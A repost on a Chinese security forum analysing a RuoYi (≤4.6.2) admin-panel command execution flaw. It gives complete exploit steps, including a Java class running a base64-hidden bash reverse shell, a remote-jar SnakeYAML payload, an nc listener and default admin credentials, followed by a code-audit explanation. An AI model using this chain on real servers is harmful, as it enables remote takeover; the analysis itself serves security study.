安全矩阵

 找回密码
 立即注册
搜索
查看: 2585|回复: 0

某依后台RCE分析

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-26 18:42:31 | 显示全部楼层 |阅读模式
原文链接:某依后台RCE分析

漏洞标题:若依后台RCE
漏洞类型:命令执行
漏洞等级:严重
影响范围:RuoYi<=4.6.2
简要描述:由于若依后台计划任务处,对于传入的"调用目标字符串"没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。
闲聊:最近正好在学java,并且项目中又遇到若依,于是就顺手分析了一下这个漏洞,在下才疏学浅各位大佬勿喷!!!
利用步骤:
1、利用Github项目生成恶意jar包:https://github.com/artsploit/yaml-payload
先修改项目源码文件 src/artsploit/AwesomeScriptEngineFactory.java 执行Linux反弹shell命令
  1. package artsploit;

  2. import javax.script.ScriptEngine;
  3. import javax.script.ScriptEngineFactory;
  4. import java.io.IOException;
  5. import java.util.List;

  6. public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

  7.     public AwesomeScriptEngineFactory() {
  8.         try {
  9.             Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}");
  10.         } catch (IOException e) {
  11.             e.printStackTrace();
  12.         }
  13.     }
  14. ...
  15. }
复制代码


接着运行如下命令打包成jar文件
  1. javac src/artsploit/AwesomeScriptEngineFactory.java
  2. jar -cvf yaml-payload.jar -C src/ .
复制代码


2、利用python监听HTTP请求,让受害者能够访问到yaml-payload.jar。并且监听反弹shell
python3 -m http.server 2333
nc -lvnp 1234
3、登录进入后台(默认密码admin/admin123,ry/admin123),然后进入系统监控/定时任务/新增,添加计划任务。
"调用目标字符串"输入YAML语句:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.3.3:2333/yaml-payload.jar"]]]]')

4、计划任务执行完成之后就能收到受害者的回连请求

代码审计过程:
1、当我们添加并执行计划任务时,若依(ruoyi)会调用com.ruoyi.quartz.util#JobInvokeUtil 解析并执行我们传入的数据
这里的代码逻辑:
beanName 获取传入的类名;
methodName 获取传入的方法名;
methodParams 获取传入方法的参数,如果参数异常会报错导致无法执行下一步;

接着判断传入的类名是否有效(判断逻辑:是否含有小数点),有效的话就会调用Class.forName(beanName).newInstance(); 进行实例化,然后运行invokeMethod(bean, methodName, methodParams); 执行该类对应的方法


2、可能直接贴代码大家不知道数据是怎么传输的,现在我传入一串如下数据,然后调试一下大家就明白了(这里有个坑,传入的字符串必须用单引号包含,不然会出现问题,尤其是EXP的时候,刚开始复现漏洞就因为这里弄了好久还以为是玄学,感兴趣的可以看看com.ruoyi.quartz.util#getMethodParams)
java.lang.xxx.func('aaa')


【+】我们传入的是java.lang.xxx.func('aaa')
  •         beanName = "java.lang.xxx"
  •         methodName = "func"
  •         methodParams = "aaa"

最终执行的反射代码为:Class.forName("java.lang.xxx").getDeclaredMethod("func", String.class).invoke(Class.forName("java.lang.xxx").newInstance(), "aaa")
3、由于反射时所需要的:类、方法、参数都是我们可控的,所以我们只需传入一个能够执行命令的类方法就能达到getshell的目的,该类只需要满足如下几点要求即可:
  •         具有public类型的无参构造方法
  •         自身具有public类型且可以执行命令的方法

4、在网上看文章发现大佬们找到 _org.yaml.snakeyaml.Yaml _满足这些条件,YAML执行命令参考:浅蓝大佬文章
  •         个人比较喜欢调用RMI来执行命令,但是若依(ruoyi)调用RMI会报错,所以只能调用远程jar进行命令执行

  1. import org.yaml.snakeyaml.Yaml;
  2. import java.lang.reflect.InvocationTargetException;

  3. public class YamlDemo {
  4.     public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {
  5.         Yaml yaml = new Yaml();
  6.         yaml.load("!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://1.1.1.1:2333/Demo.jar']]]]");
  7.         //yaml.load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:9999/t', autoCommit: true}");
  8.         //Class.forName("org.yaml.snakeyaml.Yaml").getMethod("load", String.class).invoke(Class.forName("org.yaml.snakeyaml.Yaml").newInstance(), "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://192.168.3.3:2333/Demo.jar']]]]");
  9.     }
  10. }
复制代码


5、于是我们构造出最终传入的payload为
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.3.3:2333/yaml-payload.jar"]]]]')


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 11:19 , Processed in 0.014548 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表